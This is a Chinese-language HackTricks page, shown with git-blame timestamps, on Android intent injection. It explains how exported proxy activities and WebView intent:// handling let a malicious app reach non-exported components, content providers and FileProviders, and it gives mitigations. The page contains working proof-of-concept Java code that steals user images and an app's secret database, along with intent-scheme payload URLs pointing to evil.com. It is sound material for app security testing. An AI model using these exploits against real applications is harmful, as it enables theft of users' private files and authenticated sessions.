hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

269 lines
15 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>零基础学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您希望在 **HackTricks中看到您的公司广告****下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来 **分享您的黑客技巧**
2022-04-28 16:01:33 +00:00
</details>
**研究取自** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
2021-07-19 19:50:23 +00:00
2023-08-03 19:12:22 +00:00
# 介绍
2021-07-19 19:50:23 +00:00
这个漏洞类似于 **Web安全中的开放重定向**。由于`Intent`类是`Parcelable`**属于这个类的对象**可以作为**额外的** **数据**传递给另一个`Intent`对象。\
许多开发者利用这个**特性**创建**代理** **组件**(活动、广播接收器和服务),它们**接收一个嵌入的Intent并将其传递给危险方法**,如`startActivity(...)`、`sendBroadcast(...)`等。\
这是危险的,因为**攻击者可以强迫应用启动一个非导出组件,该组件不能直接从另一个应用启动**,或者授予攻击者访问其内容提供者的权限。**`WebView`** 有时也会将**URL从字符串更改为`Intent`**对象,使用`Intent.parseUri(...)`方法,并将其传递给`startActivity(...)`。
2021-07-19 19:50:23 +00:00
{% hint style="info" %}
总结如果攻击者可以发送一个不安全执行的Intent他可能会访问未导出的组件并滥用它们。
2021-07-19 19:50:23 +00:00
{% endhint %}
2023-08-03 19:12:22 +00:00
# 典型案例
2021-07-19 19:50:23 +00:00
2023-08-03 19:12:22 +00:00
让我们来看一个例子。`AndroidManifest.xml`文件的片段
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
Activity `ProxyActivity`
2021-07-19 19:50:23 +00:00
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
Activity `AuthWebViewActivity`
2021-07-19 19:50:23 +00:00
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
`AuthWebViewActivity` 是一个例子,展示了**隐藏的应用功能执行某些不安全的操作**,在这种情况下,将用户的认证会话传递给从 `url` 参数获得的 URL。
2021-07-19 19:50:23 +00:00
出口限制意味着**攻击者无法直接访问 `AuthWebViewActivity`**。一个直接调用
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
抛出一个`java.lang.SecurityException`,因为`Permission Denial``AuthWebViewActivity`没有从uid 1337导出。
2021-07-19 19:50:23 +00:00
但是攻击者可以**强迫受害者启动`AuthWebViewActivity`本身**
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
# 权限提升的影响
2021-07-19 19:50:23 +00:00
为了提升这个漏洞的影响,你需要**找到其他漏洞/配置错误,这些漏洞/配置错误可以增加漏洞的影响**(因为单独的漏洞并没有产生任何风险)。
2021-07-19 19:50:23 +00:00
## 通过内容提供者提升攻击
2021-07-19 19:50:23 +00:00
除了访问原始应用程序的任意组件外,**攻击者可以尝试访问那些满足以下条件的受影响应用程序的内容提供者**
2021-07-19 19:50:23 +00:00
* 它必须是**非导出的**(否则可以**直接攻击**,无需使用我们在本文中讨论的漏洞)
* 它必须设置了**`android:grantUriPermissions`** 标志为 **`true`**。
* `android:grantUriPermissions="true"` 表示你的 Java 代码可以对该 `ContentProvider` 提供的**任何 `Uri`** 使用 `FLAG_GRANT_READ_URI_PERMISSION``FLAG_GRANT_WRITE_URI_PERMISSION`
* `android:grantUriPermissions="false"` 表示**只有 `<grant-uri-permission>` 子元素指定的 `Uri` 值**可以使用 `FLAG_GRANT_READ_URI_PERMISSION``FLAG_GRANT_WRITE_URI_PERMISSION`
2021-07-19 19:50:23 +00:00
攻击者必须将自己设置为嵌入意图的接收者,并设置以下标志
2021-07-19 19:50:23 +00:00
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` 允许持久访问提供者(没有这个标志,访问只是一次性的)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` 允许通过前缀访问 URI - 例如,攻击者可以使用 URI `content://com.victim.provider/` 授予对提供者所有内容的访问权限,而不是反复使用完整路径如 `content://com.victim.provider/image/1` 单独获取访问权限,然后使用 `ContentResolver` 来访问 `content://com.victim.provider/image/1``content://com.victim.provider/image/2` 等。
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` 允许对提供者进行读操作(如 `query``openFile``openAssetFile`
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` 允许写操作
2021-07-19 19:50:23 +00:00
一个典型的提供者示例,攻击者可以获得对其的访问权限,并执行常规操作,如 `query``update``insert``delete``openFile``openAssetFile`
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
示例:盗取用户图片的 `AndroidManifest.xml` 文件
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
2023-08-03 19:12:22 +00:00
`MainActivity.java` 文件
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
2023-08-03 19:12:22 +00:00
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
2021-07-19 19:50:23 +00:00
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
## 攻击 Android 文件提供者
2021-07-19 19:50:23 +00:00
这个漏洞也使得攻击者能够**窃取位于开发者预定目录中的应用文件**。为了成功攻击,恶意应用需要**获取对 Android 文件提供者的访问权限,然后使用 Android ContentResolver 读取文件提供者的内容**。
2021-07-19 19:50:23 +00:00
示例文件提供者(更多详情见 [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
2023-08-03 19:12:22 +00:00
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
2021-07-19 19:50:23 +00:00
</provider>
```
它提供对特定列表中文件的读/写访问权限,该列表可以在应用资源中找到,在这种情况下位于 `res/xml/provider_paths.xml`
2021-07-19 19:50:23 +00:00
它可能看起来有点像
2021-07-19 19:50:23 +00:00
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
2023-08-03 19:12:22 +00:00
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
2021-07-19 19:50:23 +00:00
</paths>
```
```markdown
每个标签指定一个相对于根目录的 `path` 值。例如,值 `external_files` 将对应于 `new File(Environment.getExternalStorageDirectory(), "images")`
2021-07-19 19:50:23 +00:00
`root-path` 对应于 `/`,即提供对任意文件的访问。
2021-07-19 19:50:23 +00:00
假设我们在文件 `/data/data/com.victim/databases/secret.db` 中存储了一些秘密数据:窃取这个文件的行为可能看起来像这样 `MainActivity.java`
```
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
## 通过 WebView 访问任意组件
2021-07-19 19:50:23 +00:00
Intent 对象可以通过调用 `Intent.toUri(flags)` 转换为字符串,并且可以使用 `Intent.parseUri(stringUri, flags)` 从字符串转换回 Intent。这个功能经常用在 WebView应用内置的浏览器**应用可以验证 `intent://` 方案,解析 URL 成一个 Intent 并启动活动**。
2021-07-19 19:50:23 +00:00
**这个漏洞可以通过其他漏洞利用**(例如,能够在应用内的 WebView 中直接通过导出的活动打开任意链接,或者通过深度链接机制)在客户端应用中,也可以远程利用,包括服务器端的跨站脚本攻击或客户端的中间人攻击。
2021-07-19 19:50:23 +00:00
示例代码存在漏洞
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
2023-08-03 19:12:22 +00:00
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
2021-07-19 19:50:23 +00:00
}
```
```markdown
这里的关键是每次WebView尝试加载新链接时都会调用`WebViewClient`类的`shouldOverrideUrlLoading(...)`方法,但这给了应用程序添加自定义处理程序的选项。
2021-07-19 19:50:23 +00:00
为了利用这个漏洞攻击者需要创建一个WebView重定向到一个特别准备的intent-scheme URL。创建URL的例子
```
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
示例攻击
2021-07-19 19:50:23 +00:00
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
此版本与经典版本的漏洞相比有**若干限制**
2021-07-19 19:50:23 +00:00
* 嵌入的 `Parcelable``Serializable` 对象不能转换为字符串(它们将被忽略)
* 当调用 `Intent.parseUri(...)` 时,不安全的标志 `Intent.FLAG_GRANT_READ_URI_PERMISSION``Intent.FLAG_GRANT_WRITE_URI_PERMISSION` 将被**忽略**。解析器只有在设置了 `Intent.URI_ALLOW_UNSAFE``startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`)标志时才会保留它们,这种情况非常罕见
2021-07-19 19:50:23 +00:00
许多开发者仍然忘记对通过 WebView 收到的 intents 进行完整过滤。
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
2023-08-03 19:12:22 +00:00
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
2021-07-19 19:50:23 +00:00
}
```
2023-08-03 19:12:22 +00:00
攻击者可以通过选择器指定一个非导出组件
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
并绕过应用程序对显式意图的保护。因此,我们还建议过滤选择器。
2021-07-19 19:50:23 +00:00
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
```markdown
但即使进行了完整的过滤,也不能保证完全的保护,因为攻击者可以创建一个与某个非导出活动的 `intent-filter` 相对应的隐式意图。活动声明的示例:
```
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
2023-08-03 19:12:22 +00:00
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
2021-07-19 19:50:23 +00:00
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
我们因此建议在启动活动之前检查它是否已导出。
2021-07-19 19:50:23 +00:00
2023-08-03 19:12:22 +00:00
## 创建不安全意图的其他方法
2021-07-19 19:50:23 +00:00
一些应用开发者实现了他们**自己的意图解析器**(通常用于处理**深链接**或推送消息),使用例如**JSON**对象、字符串或字节数组,这些要么与默认设置无异,要么存在很大的危险,因为它们可能扩展**`Serializable`** 和 `Parcelable` 对象,并且它们也允许设置不安全的标志。安全研究员也可能遇到更多奇特的意图创建方式,例如将字节数组转换为 `Parcel`,然后从中读取一个意图。
2021-07-19 19:50:23 +00:00
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
2023-08-03 19:12:22 +00:00
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
2021-07-19 19:50:23 +00:00
}
```
# 易受攻击的应用程序
2021-07-19 19:50:23 +00:00
{% embed url="https://github.com/oversecured/ovaa" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>